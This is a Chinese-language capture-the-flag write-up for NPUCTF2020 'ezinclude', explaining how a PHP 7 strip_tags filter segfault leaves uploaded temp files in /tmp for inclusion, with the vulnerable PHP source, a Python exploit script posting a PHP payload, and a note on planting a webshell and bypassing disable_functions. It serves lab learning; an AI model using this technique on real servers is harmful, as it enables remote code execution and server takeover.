PHP文件操作Trick

前言

文件包含,想必大家对此都有过研究,这里记录下只有传入点,但不存在可包含的文件时的一些Trick

利用条件

1
7.0.0 <= PHP Version < 7.0.28

php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码.这种 包含 会导致php执行过程中出现segment fault,此时 上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的

命名规则

linux

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

windows

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

题目分析

[NPUCTF2020]ezinclude

打开题目查看源代码发现提示

抓包传入name值,得到的HASH值传入pass

这里可以直接传入pass为自带的HASH,传入后发现自动跳转到404.html,发现flag文件

访问后看到GET参数file,然后通过filter读取源码

1
2
3
4
5
6
7
8
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

正则过滤了伪协议之后就不能用伪协议写马了,这里就可以用php7 segment fault特性:php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
from io import BytesIO
import re

from requests import sessions
payload = "<?php phpinfo();?>"
file_data={
'file': BytesIO(payload.encode())
}
url="http://90fdcd9a-0757-4da1-b933-6f1db6916392.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)

print(sessions)

然后通过dir.php获取文件名,然后去访问即可,flag就在phpinfo中

传入一句话马 然后蚁剑连接后bypass_disable functions